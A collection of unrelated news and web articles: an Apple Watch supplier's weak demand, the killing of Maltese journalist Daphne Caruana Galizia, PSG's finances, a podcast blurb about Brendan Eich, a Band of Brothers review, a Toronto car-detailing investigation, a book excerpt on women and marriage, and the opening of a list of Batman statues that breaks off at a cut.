-Apple told investors earlier this month that sales of the Apple Watch have far exceeded its own internal expectations, but some of the companies that are making parts for the new wearable are claiming that they can’t even break even because demand is so weak.  Taiwan’s Advanced Semiconductor Engineering (ASE) which makes the system-in-package case that contains Apple Watch’s array of sensors and chips, told investors during a conference call that it still hasn’t reached “break even volume” of two million units per month.  Bernstein Research analyst Mark Li reported to investors that an ASE subsidiary revealed the weak demand to investors this month, and said that ASE doesn’t even expect to reach the two million units per month level the third quarter, and wouldn’t commit to reaching it during the fourth quarter.  “The shortfall of Apple Watch is a disappointment,” Mr. Li wrote in a note to clients, according to a report from the Wall Street Journal. “We came in with a low expectation but below break-even still surprised us.”  Apple hasn’t revealed any sales data for the Apple Watch, but its recent earnings report revealed that the new wearable has become at least a $1 billion business. Tim Cook said that sales have actually increased since the device’s debut in April, with most units being ordered in June.  Despite Apple’s high praise for the new device, which supposedly outsold the original iPhone and iPad during their first few weeks of launch, ASE is now expecting to fall well short of the 18 million units Li forecasted it would sell this year.
-Daphne Caruana Galizia, an investigative journalist from Malta who was known for her reporting on governmental corruption, was killed in an explosion near her home Monday, officials say.  Galizia, who had just published a story on her blog, was driving away from the house in a rented Peugeot 108 around 3 p.m. when the car went up in flames, according to local media reports.  The explosion sent detritus far into the surrounding fields and badly burned the body. Photos showed the Peugeot’s mangled shell in a field, dozens of yards from the blast site. Witnesses described a small explosion followed seconds later by a larger one as the burning car skidded down the road and into the field.  “I am never going to forget, running around the inferno in the field, trying to figure out a way to open the door, the horn of the car still blaring, screaming at two policemen who turned up with a single fire extinguisher to use it,” Galizia's son, Matthew, wrote on Facebook the morning after his mother's death. “They stared at me. 'I’m sorry, there is nothing we can do', one of them said. I looked down and there were my mother’s body parts all around me. I realised they were right, it was hopeless.”  No suspects have been identified in the bombing, but the son said Tuesday that his mother was dead because of the incompetence and negligence of the Maltese government and police.  “My mother was assassinated because she stood between the rule of law and those who sought to violate it, like many strong journalists,” he said in a post on Facebook. “But she was also targeted because she was the only person doing so. This is what happens when the institutions of the state are incapacitated: the last person left standing is often a journalist.”  Nine journalists have been killed for their work this year, according to the Committee to Protect Journalists. If it is confirmed that Galizia was targeted, she would be the 10th, and the first in Europe, the CPJ said.  [Censor or die: The death of Mexican news in the age of drug cartels]  Her death has been widely condemned by officials and nongovernmental organizations across Europe and Malta, where Galizia's relentless focus on corruption, cronyism and political malfeasance had drawn wide attention.  Galizia spent much of her work in recent years reporting on the Panama Papers, the cache of records from a law firm in Panama that detailed offshoring activities of powerful officials and companies around the world. Her reporting on allegations about the wife of Maltese Prime Minister Joseph Muscat and a shell company in Panama had caused concern when Malta had assumed the rotating, six-month presidency of the Council of the European Union, the Guardian reported.  Galizia’s focus on cronyism was not accidental, she told Politico after it named her one of the 28 people most likely to shake up Europe in 2017.  “I can’t bear to see people like that rewarded,” she said.  Galizia started working as a journalist in the 1980s as a columnist with the Sunday Times of Malta, the newspaper reported. She later worked as an editor at the Malta Independent before writing a column.  Her blog, Running Commentary, was launched in 2008 and is one of the most popular websites on the island nation.  Traffic to her website sometimes swelled to 400,000 readers, nearly equal to the country’s population. Her last story was about court testimony that pertained to allegations about Muscat’s chief of staff. Other recent stories included a dispatch about what she described as an unlicensed zoo operated by a man she said was a friend of the prime minister and other prominent figures in Malta.  “Everyone knows Ms. Caruana Galizia was a harsh critic of mine, both politically and personally, but nobody can justify this barbaric act in any way,” Muscat said Monday on Maltese television, according to news reports.  This is a spiteful attack on a citizen and freedom of expression. I will not rest until justice is done. The country deserves justice -JM — Joseph Muscat (@JosephMuscat_JM) October 16, 2017  U.S. officials confirmed Tuesday that the FBI is assisting Malta with the investigation.  But Galizia's son accused Muscat and other government officials of allowing a “culture of impunity” to flourish in Malta, which he said had turned into a “mafia state.”  “It is of little comfort for the Prime Minister of this country to say that he will 'not rest' until the perpetrators are found, when he heads a government that encouraged that same impunity,” wrote Matthew Caruana Galizia, an engineer and data journalist for the International Consortium of Investigative Journalists, according to his social media accounts.  He said that one of the police sergeants assigned to investigate his mother's killing had posted a flippant message on Facebook after her death.  “If the institutions were already working, there would be no assassination to investigate — and my brothers and I would still have a mother,” he wrote.  He later wrote that it was “untrue that my mother’s assassination was an attack on freedom of expression. It is untrue, because there was no freedom to begin with,” noting that his mother had been the subject of lawsuits meant to “financially cripple” her because of her work.  [Angered by gun control, this lawmaker drafted a bill to require licenses for journalists]  His mother had filed a report with Maltese police about receiving threats in the weeks before her death, according to reports.  “Daphne Caruana Galizia was a true investigative journalist,” said the deputy executive director of the Committee to Protect Journalists, Robert Mahoney. “She did not shy from taking on the powerful in Malta’s political, business and criminal worlds.  “She probed the very authorities who are now charged with finding her killer or killers. For this reason, the investigation into her brutal murder must be beyond reproach. Anything less will send a terrible signal for journalists everywhere.”  Adrian Delia, the leader of Malta’s opposition Nationalist Party, said in a statement posted on Twitter: “This is the collapse of democracy and freedom of expression. We shall not be silenced.”  Great shock and sadness at the brutal murder of Daphne Caruana Galizia. An appeal for a unified resolve to promote true democracy. RIP. — Bishop CJ Scicluna (@BishopScicluna) October 16, 2017  What happened today is unacceptable in a free and democratic country like #Malta. A very sad day for our country. — Partit Laburista (@PL_Malta) October 16, 2017  Galizia and husband Peter Caruana Galizia have three sons, including Andrew and Paul, according to the Malta Independent. The couple lived in Bidnija, a rural area on the island.  In a sign of Galizia’s far reach in the country, the duty magistrate assigned to start the inquiry in the case had previously taken her to court over a libel claim related to stories Galizia had written about her, Malta Today reported. Galizia’s family has requested that the chief justice ask the duty magistrate to abstain from the inquiry, the publication reported.  Thousands of mourners attended a vigil held Monday night; another demonstration followed Tuesday outside the courts in Valletta.  A woman places a candle during a silent vigil after the death of investigative journalist Daphne Caruana Galizia in Malta. (Darrin Zammit Lupi/Reuters)  A woman holds a lantern with a picture of Daphne Caruana Galizia during a protest outside the courts in Valletta, Malta. (Darrin Zammit Lupi/Reuters)  Demonstrators show the victory sign in front of the courts in Valletta, Malta. (Rene Rossignaud/AP)  Devlin Barrett contributed to this report, which has been updated.  Read more:  She claimed tall, blond aliens kidnapped her as a child. Now she’s running for Congress.  Passengers accuse Indonesia AirAsia crew of setting off panic during plane’s rapid descent
-French club Paris Saint-Germain (PSG) just keeps on spending like a drunken sailor with a limitless credit card. This week the Paris club acquired three more players at an initial cost of around $150M.  Uruguay striker Edinson Cavani arrived from Napoli for $84M followed later in the week by two young defenders – Lucas Digne (Lille) $19M and Marquinhos (Roma) $42M.  Edinson Cavani has a pedigree having earned international recognition with Uruguay first at the FIFA under-20s in 2007 then at the 2010 World Cup Finals.  As a teenager he moved to Italy to play for Palermo but it was move to Napoli that turned him into a world star.  Digne has a couple of senior seasons under his belt but he wasn’t even the best left back at the recent FIFA under-20 World Cup in Turkey. Marquinhos has only played one season Europe and PSG decided that was enough the make him the 5th most expensive defender in history.  Roma paid less than $5M a year ago and so their return of 8 times on their investment in just 12 months is truly astounding.  But there again, everything to do with PSG over the last couple of years has just been additional degrees of astounding. This week’s spending brings PSG’s total transfer outlay to around half a billion dollars since the summer of 2011. The onslaught of spending kicked off when the Qatar Investment Authority bought the club two summers ago for $135M.  It started with transfer spending of $142M but that wasn’t sufficient to win Ligue 1. Close to $200M was spent in 2012/13 and that brought a Ligue 1 championship and got PSG to the last eight of the UEFA Champions League.  PSG was only formed in 1970 and has rarely been profitable. Prior to the Qatar buyout the club had recorded losses for over a decade. The year prior to the takeover PSG recorded a loss of $37M.  So with such profligate spending surely PSG must be drowning in red ink?  Well, not according to PSG’s financial statements for 2011/12.  To everyone’s great surprise the loss for the year to June 2012 – the first full year of operations under the new owner ship – was only $7M.  We do know that rather than booking transfer fees in the year the player was acquired clubs are able to write-off the fee over the life of the player’s contract – just as a company would do in accounting for a fixed asset.  That means that fees of $150M would be written down by $37.5M each year assuming each player signed four year deals. But even with an accounting break it seems odd that PSG’s loss for 2012 would be $30M less than the year previous.  Salaries and wages went up from $62M ($91M to $153M) and overall expenses increased by over $127M. That means in order to reduce their year to year loss PSG increased their revenues in one year by around $160M and that is pretty spectacular.  No other club has managed to engineer such explosive revenue growth.  So, where did the money come from between 2011 and 2012?  Commercial deals – dropped by $18M  TV revenue – up by $2.7M  Gate receipts – up by $9M  That amounts to an overall reduction of $6.3M rather than an increase of $160M.  In fact, the increase in revenue did not come from what we might be described as regular football and associated activities.  It was down to the excellent and insightful website Financial Fair Play.co.uk to identify the smoking revenue gun.  Line four of PSG’s financial statement for 2012 has “Autre produits” (other revenue) of €125M or $160M – that means over 50% of revenue came from money the owners found down the back of the couch.  Well not quite, Financial Fair Play.co.uk has another explanation although not necessarily a more satisfactory one.  FFP.co.uk makes a pretty good case that the other revenue is in fact a very questionable deal made between PSG and the Qatar Tourism Authority. Announced in late 2012 the deal was reported to be worth $900M over 4 years.  The value of the deal is larger than anything else seen in world soccer and what is more the QTA doesn’t seem to get much for their money. No naming rights, no kit deal – all PSG is obliged to do is to help promote Qatar as a tourist destination.  But it gets worse. I am sure that a number of you will have noticed a discrepancy – some of you might even have already written a comment about “lazy journalism” or “inadequate fact checking.”  Yes the financial statement was for the year to June 2012 and yes the deal was not in place till late 2012. So how can one impact on the other?  Good question and not one that seems to have bothered the preparer of said statements. The $160M in “other revenue” almost certainly accrued from a commercial deal that had very little to do with a commercial transaction and that wasn't even consummated during the financial year in question.  So how can PSG hope to get away with something like this when UEFA Financial Fair Play (approved and signed off by over 200 of Europe’s leading clubs) and the drive towards sustainability is now a reality and 2012 is the first year of monitoring?  That question is one that will not be completely answered until the spring of 2014 when it is expected that the independent Club Financial Control Panel completes the review of clubs’ statements for 2012 and 2013 and assesses one of nine possible sanctions on transgressors.  The legitimacy of the PSG/QTA deal will be central to the Control Panel’s review.  The first question is whether or not the PSG/QTA deal constitutes a Related Party Transaction.  If it is not a RPT then UEFA can not reassess or review the transaction. Simply put if you are daft enough to given an already rich owner more money for little or no return then good luck to you.  However, if it is found to be a RPT then things change dramatically.  The Financial Fair Play regulations define a RPT and it can be found by clicking on the link and moving to pages 83 through 85.  The simple explanation is that the RPT exclusion is there to prohibit the seemingly conventional wisdom loophole of an owner getting another of his companies to buy seats at $5,000 a game or some other ridiculous amount.  If a transaction is deemed to be a RPT then the only revenue that can be recognized for the purpose of the break-even calculation is that deemed to be at “fair value.” “Fair value” is a well recognized concept and essentially prices a transaction at what two individuals negotiating in good faith would agree to.  If PSG and QTA are deemed to be related parties – and there is a very good chance that they will given that they are both arms of the Qatar government – then it is impossible for PSG to meet the break-even provisions of UEFA Financial Play. (Others have suggested that all PSG and clubs in a similar situation need to do in order to avoid sanctions is to show financial progress. That interpretation is dependent on costs attributable to contracts signed prior to June 2010 being the cause of the shortfall. Financial progress alone is not enough).  PSG may find that there are lots of clubs willing to take their money for overpriced players but there will be even more cheering should UEFA use them as a high profile example.  There again between PSG and the on-going controversy of the 2022 World Cup Finals award Qatar is guaranteed a lot of name checks. Nice to know that you get something for a few billion dollars.  Qatar facts  So what will $900M over four years promote in Qatar?  Qatar has a population of 1.8M.  The number of tourists visiting Qatar has increased from 964,000 in 2007 to 2.5M in 2011.  Projections show a continued increase through to 2022 with 3.7M visitors expected.  A report from Deloitte estimated that Qatar will spend $200B to host the 2022 World Cup Finals.  $140B will go into the likes of transportation infrastructure and another $20B to support infrastructure for tourism.  For comparison purposes Las Vegas attracted 39M visitors in 2011.
-My one-hundred-and-thirtieth podcast is up. I had the pleasure of talking to Brendan Eich about JavaScript this week. Brendan created JavaScript lo these many years ago, and lately his team has been working to make JavaScript even faster with TraceMonkey, their next step in their JavaScript engine. It's an exciting time for JavaScript as it approaches "C" speeds. I chat with Brendan in this episode about where he thinks JavaScript is headed. What does the rise of JavaScript mean to Flash, Silverlight and RIAs in general? We also talk about how TraceMonkey works and how much faster it can get.  Brendan is responsible for architecture and the technical direction of Mozilla. He is charged with authorizing module owners, owning architectural issues of the source base and writing the roadmapthat outlines the direction of the Mozilla project. Brendan created JavaScript, did the work through Navigator 4.0, and helped carry it through international standardization. Before Netscape, he wrote operating system and network code for SGI; and at MicroUnity, wrote micro-kernel and DSP code, and did the first MIPS R4K port of gcc, the GNU C compiler.  One other change, this week a large number of the questions of Brendan came directly from you, the listener, via Twitter! This is a new thing I'm trying and I really feel it made for a better show and I thank you for it! I'm on Twitter at http://www.twitter.com/shanselman and you can read more about Twitter in my post on Twitter: The Uselessfulness of Micro-blogging if you want to jump in and "follow me." I encourage you to find a Twitter Client that works for you and give it a try.  Subscribe:  Do also remember the complete archives are always up and they have PDF Transcripts, a little known feature that show up a few weeks after each show.  Telerik is our sponsor for this show!  Building quality software is never easy. It requires skills and imagination. We cannot promise to improve your skills, but when it comes to User Interface, we can provide the building blocks to take your application a step closer to your imagination. Explore the leading UI suites for ASP.NET and Windows Forms. Enjoy the versatility of our new-generation Reporting Tool. Dive into our online community. Visit www.telerik.com.  As I've said before this show comes to you with the audio expertise and stewardship of Carl Franklin. The name comes from Travis Illig, but the goal of the show is simple. Avoid wasting the listener's time. (and make the commute less boring)  Enjoy. Who knows what'll happen in the next show?
-10 /10  Warning: Spoilers  SPOILERS AHEAD!  What can I say, a brilliant series, which I will easily call the best series ever! Great acting, a great screenplay, fine camerawork, and of course with Speilberg a great recollection of the 1940's  Chapter 1: A Strong episode. Shows the tough sadistic training of Captain Sobel. Builds up all the characters and introduces them to the viewers. I really likes the fact that they made this one a NON COMBAT episode.  10/10  Chapter 2: A first look into battle with Easy Company. Focuses on Winters and shows his potential as a leader. It also shows the big failure of the jumps over normandy and what misorder it has caused.  9/10  Chapter 3: The most violent episode so far. Great battle scene in Carentan. It also takes time to show the soldiers after they get back to England, and for the ones that didnt. It forcuses on the horrors of war and sticks to Blithe to make that point.  10/10  Chapter 4: My least favorite episode. Simply a full combat chapter. It shows the failure of bad intellegence. Focuses on Bull Randelman that survives behind enemy lines. Nothing special in the episode though. (although it does show the Dutch reaction to the allied forces)  8/10  Chapter 5: I dunno why but a lot of people didnt like this chapter. I loved it! The great camerawork at the begining and the illusions Winter suffers throughout the episode really touched me. I also loved the full on assault on the SS Companies, and the change of command within E Company and 2nd Battalion.  10/10  Chapter 6: Like others said, a special episode for the sole fact that it is the first time it is focused on the Medical Staff. I really likes Doc Roe, though I didnt think the relationship with nurse was usefull for the episode. I liked the way supplies were short, morale was low yet E company held on. The creators really tried to make us think how miserable they are, but to tell the truth after reading some books the matter was even MUCH MUCH worse, just look at a map of the battle of the bulge. Anyhow, great episode.  9/10  Chapter 7: My second favourite episode and by far the most violent in the series.  Forcuses on Lipton which tells the story of a bad leadership from Lt. Dike, and the morale problem it caused. Also it shows the accidental death of Hoobler. Really touching scene. The part which still echos in my head is definetly the mortar drop on Guarnere and Toye, and the reaction from Buck. Brilliant Scene. That goes as well for the Much and Penkala part. The new leader prooves himself on the first day with bravery and determination.  10/10  Chapter 8: I liked this episode. Shows how the war was almost over yet the generals were looking for something to do. So they send out patrols. Focuses on Webster who missed Bastonge, and although he has been in the company since normandy, feels like an outsider. Sad part when Jackson dies from his own grenade.  9/10  Chapter 9: My favourite episode. The way they created the camps and its inhabiters was extrodinary and brought a tear to my eye! The looks on everyones faces when they saw it tells it all. Written briliantly, acted upon perfectly from everyone (liebgoot crying when he has to tell them to stay in the camps and not eat, Nixon when he first sees the camp.) Perfect Episode  10/10  Chapter 10: A great episode which basicly showed that altough the war was over, people were still dying. It also shows the absurd points system which caused a lot of tension within the soldiers. Finally shows the future of each surviving member of the company.  10/10  95/100
-That’s what Carlos Tomas wanted when he dropped off his red sports car at a detailing shop in Scarborough.  “Where did they take my car?” Tomas said in an interview. “And for what purpose? What if it was involved in an accident somewhere?”  Later, when toll charges for the 407 ETR arrived in his mail, Tomas, with the Star’s help, dug into a story that for many will conjure references to the 1980s flick Ferris Bueller’s Day Off , when Ferris and his friends, playing hooky from school, took a Ferrari for a joyride.  Five days later, his seven-year-old Mazda RX-8 was ready. There was just one problem: There were 449 more kilometres on the car than when Tomas dropped it off.  Against better judgment, Tomas returned to Avenue with the second Mazda, this one an RX-8, the next week on June 1. Before turning the keys over to Kuganesan, Tomas snapped a photo of his odometer.  When the car, which had some body work done at a shop around the corner as well as detailing from Kuganesan, was returned to Tomas, he noticed damage to the front grille. He asked if something happened, but according to Tomas, both the body shop and the detailer denied responsibility.  That’s when he met Rajevan Kuganesan, or “Mikey,” who was running a detailing business out of the small garage in an industrial complex at Kennedy Rd. and Lawrence Ave. E.  In May of this year, he had two red Mazdas he was preparing to sell. On a recommendation, Tomas took the first one, a Mazda 6, to a Scarborough detailing shop called Avenue Rentals and Detailing.  Tomas, 59, has been around cars all his life. He is president of Shifters, a Toronto training facility devoted to teaching people how to properly drive manual transmission vehicles.  “My eyes went straight to the odometer,” Tomas said. “It was a very simple agreement: He details the car and I pay the bill. I didn’t expect 449 kilometres on it for a detailing job.”  Confronted by Tomas with the photos showing the discrepancy in odometer readings, Tomas recalls Kuganesan was adamant the Mazda had not moved from the shop area the entire time. He had not loaned it to anyone, nor had he rented it out. (Later, Kuganesan repeated these denials to the Star.)  Incensed by the lack of an explanation from Kuganesan, Tomas called police.  The officer suggested the two duke it out in small-claims court.  Tomas was disappointed the police did not take up the case. He remained concerned with his car’s whereabouts those five days in June.  “Am I going to get a ticket in the mail next for somebody running a red light?” Thomas told the Star. “What if the car was used for illegal purposes?”  A month later, proof that the RX-8 had indeed been taken for a long ride while in the care of the detailer arrived in the mail.  A bill for $45.60 from the ETR Highway 407 shows the vehicle was twice driven on the toll highway on June 2, the day after Tomas dropped it off for cleaning. The vehicle got on at McCowan Rd., in Markham, at 7:51 a.m. and drove west across the GTA, exiting at Derry Rd. in Mississauga.  Less than two hours later it was back on the ETR at Highway 401 and Ninth Line in Mississauga. The car was driven east to Scarborough and it left the toll road at Kennedy Rd. for a total of 112 kilometres driven.  There are still another 337 kilometres unaccounted for. Tomas contacted officials at 407 ETR and was told the photos snapped when the Mazda entered and exited the toll road do not identify the driver.  Tomas then contacted the Star for help and returned to Kuganesan’s shop with a reporter posing as his friend. Tomas brought along the ETR bill.  Kuganesan was in no mood to explain.  “So your point is?” Kuganesan said, as Tomas showed him the ETR tickets. “I’m not wasting my time now cause I got s--- to do,” Kuganesan said, reminding Tomas that he had not fully paid his bill.  Tomas had paid $120 for the Mazda 6’s cleaning, but refused to pay for the second car’s detailing until he received a satisfactory explanation. Tomas notes that in addition to the unauthorized mileage, the gas gauge on the RX-8 was one-third lower when he picked up the vehicle.  As the Star watched, Kuganesan hopped into a black Hummer he had been washing, and drove off.  Ministry of Transportation documents show Kuganesan, 28, should not have been driving. His driver’s licence was suspended on Jan. 27, 2012, after he pleaded guilty to refusing to provide a breath or blood sample after being pulled over by police.  And when his licence is reinstated, on Jan. 27, 2015, any car he drives must be equipped with ignition interlock, a condition normally imposed on people convicted of serious drinking and driving offences.  The Star returned to Avenue, this time identifying ourselves as reporters, explaining we were seeking an on-the-record interview with Kuganesan about the mysterious events involving Tomas’s car.  Kuganesan arrived at the garage driving a Toyota Camry with Quebec plates. He denied Tomas’s car moved more than about 50 metres during its five-day stay.  “What are you, a f-----g spy?” said an indignant Kuganesan in response to further questions. “You can write anything, whatever you want. I don’t want to talk to you.”  When asked who has access to the keys, he said:  “Everybody has access to the keys. We hang the keys here,” he said pointing inside the garage. “We’re not responsible for anything that happens,” said Kuganesan adding he does a lot detailing for car dealerships.  The Star made several more attempts to interview Kuganesan as more details emerged. The Star tried to contact him at his work and home, and a letter with a series of questions was given by the Star to his lawyer, Timothy Kinnaird.  The Star asked Kuganesan if he could comment on Tomas’s allegations. Why was he driving if his licence was suspended? Could he elaborate on his relationship with a man named Gerald Pinch, who holds the lease on the shop, and is currently in federal prison on drug trafficking charges?  Why is he detailing cars out of a garage the City of Toronto says is not licensed to do so? And, could he address Tomas’s allegations that both his cars were tampered with while in his possession?  In a faxed letter to the Star, lawyer Kinnaird answered “No” to each of the questions. A meeting the lawyer said he would try to arrange between his client and reporters fell through. Kinnaird cited a scheduling conflict.  The Star found Kuganesan’s cellphone number on numerous Kijiji and Craigslist ads heralding a slew of businesses, including used car sales, home renovations, mobile boat cleaning, auto tinting, painting and windshield repairs. In all of those ads, he goes by the name “Mike.”  The Star researched the detailing shop and here is what we found:  On its website, Avenue Car and Truck Rentals, at 180 Nantucket Blvd., unit 5 (the same location where Tomas dropped off his car) claims to be the GTA’s “premier car rental agency.” It not only rents and sells cars but offers “car detailing” services,” the website says.  But Brandon Pinch, president of Avenue, explained he has nothing to do with Kuganesan’s operation, which is at the same location and is an independent business detailing cars, called Millenium Auto and Marine Detailing.  Brandon Pinch told the Star he is very upset with Kuganesan and plans to sever his relationship with the man at the end of the month.  The landlord of the industrial complex where Avenue is located said the lease for unit 5 is actually in the name of Brandon’s older brother, Gerald Pinch, a man currently in prison. Gerald is the general manager of a company that owns Avenue. Brandon Pinch acknowledged that Kuganesan worked with his brother Gerald in the past, detailing cars.  Gerald Pinch was among more than a dozen people arrested in 2009 in Operation O’Flyer, a 10-month, multi-police-force investigation into the trafficking of cocaine and other drugs. Pinch was convicted of possession and conspiracy to export ecstasy in 2011, and is currently serving a six-year prison term. He faces a lifetime ban on the possession of firearms when released.  According to Toronto’s Municipal Licensing department, Avenue Car and Truck rentals is not licensed to operate as car rental agency and the location on Nantucket Blvd. is not licensed be a detailing shop, either. An application for a detailing shop was submitted in July 2013, but turned down due to zoning concerns, the city says.  “Nobody should be doing any detailing at that location,” said an analyst with the licensing department.  Meanwhile, Tomas remains perplexed. All he wanted was a good detailing and a wax job.  He says he photographed the odometer on the RX-8 sports car because he suspected the Mazda 6 had been driven somewhere and brought back with damage.  It begs the question: Why would he take a second car to Kuganesan for detailing if he was not happy with the work done on the first one?  “I just didn’t want to be taken for a fool,” Tomas said. “I just had this burning inside … OK, I’m gonna find out … It was like a bait, really, let’s see what happens with this one.”  After several follow-up calls from Tomas, Toronto police recently took a full report.  Dale Brazao can be reached at dbrazao@thestar.ca or (416) 869-4433
-In 1970, an Australian university student scribbled A woman needs a man like a fish needs a bicycle on two bathroom walls—one at a bar, the other at her university. She was paraphrasing a line from one of her philosophy texts—“a man needs God like a fish needs a bicycle”—and having a bit of fun. “My inspiration arose from being involved in the renascent women’s movement at the time, and from being a bit of a smart-arse,” wrote Irina Dunn, who later became a member of the Australian Senate.  Ever since then, Dunn’s moment of cheeky rebellion has been Exhibit A in countless attempts to explain why smart, independent women are so hopeless at relationships. (The phrase is often falsely attributed to Gloria Steinem, who has corrected the error several times.) Like “Free to Be You and Me” and bra burning (which never actually happened, but whatever), the bicycle-riding fish makes a handy cultural shorthand to explain how feminism has messed up women’s love lives.  Advertisement:  Most everyone agrees that it’s great that women now can attend college and own property and run for Congress. We can venture into the world on our own, pursue intellectually demanding careers, forge our own identities, and hold out for true love. There’s just one teensy catch: We’ve seriously botched our chances of getting married.  In decades past, the task of telling ambitious women that they’d never find love fell to male editors and reporters, who were unabashed in their contempt for a new breed of she-monster known as the “career woman.” Later, the media let the numbers do the talking, and we got clinical analyses likening our odds of marrying to getting killed by terrorists (a particularly chilling analogy, in hindsight). These days it’s a woman’s job to break the bad news, and often the messenger is single herself, offering up her life as a cautionary tale for the good of womankind.  Regardless of the delivery system, the “doomed career woman” narrative is as perennial as any Disney fable, the theme repackaged and resold to each generation.  Of course, the astute reader will note that the terrorist statistic isn’t true. Susan Faludi’s “Backlash” told us so. And twenty years after the fact, Newsweek apologized for telling college-educated women they had almost no chance of marrying after forty, explaining that the study they cited was wrong because it used past data to make future predictions, never accounting for the changing shifts in marriage patterns over the last several decades—who could have known women in 2006 would behave very differently than women in 1966? “Such unexpected shifts are part of what makes demographic forecasting extremely difficult, not unlike making weather forecasts in the midst of a hurricane,” the editors said.  Husband shortages have another thing in common with hurricanes: There’s always another one coming. No matter what women’s economic and educational gains, someone invariably finds a fresh algorithm to explain anew why smart, independent ladies who wish to wed are screwed.  There’s one problem with all this: It’s not true.  Advertisement:  Actually, women with college degrees are more likely to marry than their less-educated peers—and less likely to divorce. Graduate degrees and high salaries also don’t hinder a woman’s chance of walking down the aisle. Sociologist Christine Whelan found that women aged thirty to forty-four earning more than one hundred thousand dollars per year are—once again—more likely to be married than their lower-earning cohorts.  Women are often advised that the best strategy for ensuring lifelong happiness is to snare a man while they’re in school and marry shortly after graduation. But this den-mother wisdom flies in the face of marriage and divorce statistics. The reality is, the older the bride, the stronger the marriage.  Economist Dana Rotz, a researcher at Mathematica Policy Research, found that for every year a woman waits to marry, she lowers her risk of divorce. A woman who marries for the first time in her late twenties (twenty-seven to twenty-nine) is 15 percent less likely to divorce in a given year than a woman who marries in her mid-twenties. If she waits until her early thirties (thirty to thirty-four) that risk drops by another 15 percent. “Marriages made when a woman is in her late thirties (thirty-five to thirty-nine) are more stable still, and fully 46 percent less likely to end in divorce than those beginning when a woman is twenty-three to twenty-six. Up until your early forties, waiting to marry is associated with lower risk of divorce,” she told me.  Rotz notes that the trend could very well continue for women who marry after forty, but researchers don’t yet have a large enough sample size to study it. “Even though marriage after forty isn’t that uncommon these days, we need people to have been married a while back in our data so we know if they divorce. Since later marriages are only now becoming common, we just don’t have the data to know what’s going on,” said Rotz, who conducted this research while obtaining her PhD in economics at Harvard.  Advertisement:  I’ll repeat this happy news, since it’s not exactly the message we ladies have received lo these many years: If you get a good education and take time to establish your career and your life as a self-supporting adult, current research shows that you’re not only more likely to marry, you’re more likely to stay married. Oh, and you’ll make more money too.  So why are so many media professionals and policy wonks perpetually convinced that a sharp mind and an independent spirit will ruin a gal’s chance of finding love? “Because it used to be true,” said family historian Stephanie Coontz.  For a long time, having an education did correlate poorly with a woman’s chance of marrying. “It truly used to be good advice for a woman to ‘play dumb’ to catch a man. Not anymore. Women used to be attracted to older, powerful men who earned more money than they did. That is no longer the case,” Coontz wrote in “Marriage, a History.” “Yet many people still plan their personal lives and policy makers still draw up social policies on the basis of these and other outmoded assumptions.”  Advertisement:  We also unwittingly reinforce them. We’re so accustomed to viewing professional and personal success as a binary that “focusing on my career” becomes the default answer for singles asked to explain their relationship status.  You know how it goes. You’re at a wedding or a business luncheon and the person sitting next to you asks if you’re married, and you say no.  Then there is that ... gap. So you fill it in: “My work keeps me so busy. I haven’t even had time to think about dating” or some such.  Advertisement:  You say it because it’s true—work has been busy. But, more important, because now is not the time to talk about the many complicated factors that led to you being an unmarried thirty-six-year-old. Now is the time to talk about the price of the euro, or your competitor’s new branding strategy. You aren’t steering the conversation away from your personal life because it’s so dark and disturbing—you’re doing it because you’re a grown-up.  Unfortunately, all this social intelligence has been wildly misunderstood. We have, apparently, left many people with the impression that we’re mapping our personal lives with the same precision that we plot our careers—that we’re “putting off” marriage, as if falling in love was something you could plan. As if we were gazing at our misty-eyed suitors and saying, “You’re amazing and I love you madly. But I’m focusing on my career right now. Sucks about the timing, but what can you do?”  Of course, people do say things like this during breakups. “I just don’t have time for a relationship right now” is a perennial among both men and women. And sometimes we even believe it ourselves—because for whatever reason working late on that marketing report is more compelling than having dinner with Todd.  But that doesn’t mean you’re overly obsessed with your career—it probably means you’re just not that into Todd. You don’t break up with someone you love because “work is crazy.” When you’re in love, you steal whatever precious moments you can. You drive them to the airport so you can have that time on the freeway together. You make out on street corners before dashing back to the office. You have the company car take you straight to their apartment at eleven p.m., and then have it pick you up from there at five a.m. Friends and family are neglected. Houseplants wither and die. Bills go unpaid; dishes unwashed. But you find time for each other.  Advertisement:  Feminism’s perpetual PR problem is, paradoxically, rooted in its success. The fundamental notion that women should have equal rights and opportunities was absorbed into the mainstream culture so quickly that we assume it was always thus. It’s easy to forget that as late as the 1970s some women were still being told they couldn’t get a credit card or buy a car without their husband’s permission. When I was a kid in the ’70s, the idea that a woman could have an identity that wasn’t defined by the man in her life was still new—and still up for debate. So if the fish/ bicycle quotation was an awkward overstatement, well, okay. But it was appropriate for the time, and a handy ballast for women in a society that still told them they were nothing without a man.  Feminism never promised women that life would be easy— that there wouldn’t be hard choices and massive trade-offs. It never said that the corporate lawyer who hasn’t had a weekend off in four months wouldn’t at times gaze longingly at the hipster mom knitting a smartphone cozy while her kids play in the park. It merely said she should be free to make her own decisions—and even mistakes—because she’s smart enough to find her own way.  Having agency in your life doesn’t inhibit your ability to merge it with another’s—it only enhances it.  Reprinted from "It’s Not You" by Sara Eckel by arrangement with Perigee, a member of Penguin Group (USA) Inc, a Penguin Random House company, Copyright © 2014 by Sara Eckel.
-Share. Where does he get those wonderful statues? Where does he get those wonderful statues?  If you're a hardcore Batman fan with disposable income, simply collecting graphic novels and DVDs isn't enough. What better way to show your love for the Caped Crusader than assembling a collection of statues and busts depicting the hero in all his three-dimensional glory? Luckily, with Batman being as popular as he is, there's been no shortage of high-end collectibles to choose from over the years.  As part of our ongoing celebration of Batman's 75th anniversary, we've decided to spotlight the 10 coolest Batman statues of all time. But first, a few ground rules. In the interest of narrowing down the pool of candidates, we limited our selections to statues and busts, not action figures, LEGO sets, and so forth. We also limited our choices to statues that feature Batman himself in some capacity, so statues featuring just characters like Joker, Catwoman, Batgirl, etc. were out of the running. And finally, this list includes only products that have been released and are officially licensed by DC.  With that in mind, check out our picks for the greatest Batman statues, and let us know what your favorites are in the comments section below.  10 Batman: The Animated Series - Batman Maquette  For all that Batman: The Animated Series is lauded as being one of the greatest (if not the greatest) interpretations of Batman, there have been surprisingly few collectibles geared towards capturing Bruce Timm's distinctive art style. Even fewer have been based on Timm's original character designs rather than the New Batman Adventures redesigns.  If you want a statue depicting Batman in all his 1992-era animated glory, look no further than this maquette from DC's Classic Animation Series line. The pose is a little plain, but that's kind of the point of a maquette. What matters is that Timm's design has been translated perfectly to 3D. This Batman is stoic, imposing, and a fitting homage to such a great animated series. Good luck finding one for anywhere close to the original price, though.  9 Batman: Black & White by Jock Statue  DC's Batman: Black and White line is dedicated to bringing various artistic 